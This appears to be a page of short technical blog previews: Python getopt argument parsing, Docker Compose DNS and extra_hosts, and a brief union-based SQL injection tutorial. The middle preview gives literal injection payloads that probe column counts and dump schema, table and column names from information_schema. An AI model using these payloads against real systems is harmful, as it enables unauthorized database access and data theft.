To access command line arguments in python one can use sys.argv. sys.argv is a list containing the parameters with which the script was called, including the name of the script at index 0 of the list - sys.argv[0], so in sys.argv[1:] we find the arguments with which the script was called. To parse the list of arguments, getopt.getopt is used. Syntax: getopt.getopt(args, options, [long_options]) (Options that require an argument should be followed by a colon (:).) See the example below: try : ( options , args ) = getopt . getopt ( sys . argv [ 1 :], 'n:hv' ) except getopt . GetoptError : usage () if len ( args ) != 1 : usage () for ( opt , optval ) in options : if opt == "-n" : name = optval elif opt == "-h" : sho...
First - identify number of columns using order by clause: 1 order by 1 -- 1 order by 2 -- . . . When error shows means that reached number of columns in select statement. Then find out schem a name: 1 union select schema_name,null,null,null from information_schema.schemata -- Next, find table name: 1 UNION SELECT table_name,TABLE_ROWS,TABLE_SCHEMA,null FROM information_schema.tables -- ... and column names: 1 UNION select column_name,table_name, table_schema,null from information_schema.columns --
Docker Compose relies on an internal DNS server to manage and resolve service names across containers within a network. Each container’s /etc/hosts file contains basic entries for local resolution, but inter-container communication is primarily handled through Docker’s internal DNS. Each container is assigned a hostname that matches the service name defined in the docker-compose.yml file. Docker’s internal DNS server keeps track of these hostnames and their corresponding container IP addresses. When a container needs to resolve another service’s name, it queries the internal DNS server. Custom entries can be added to the /etc/hosts file of containers using the extra_hosts option in the docker-compose.yml file. This allows you to define additional hostname-to-IP address mappings that will be included in each container's /etc/hosts file. How works extra_hosts: The extra_hosts option allows you to specify additional hostname-to-IP address mappings. Each entry is defined in th...
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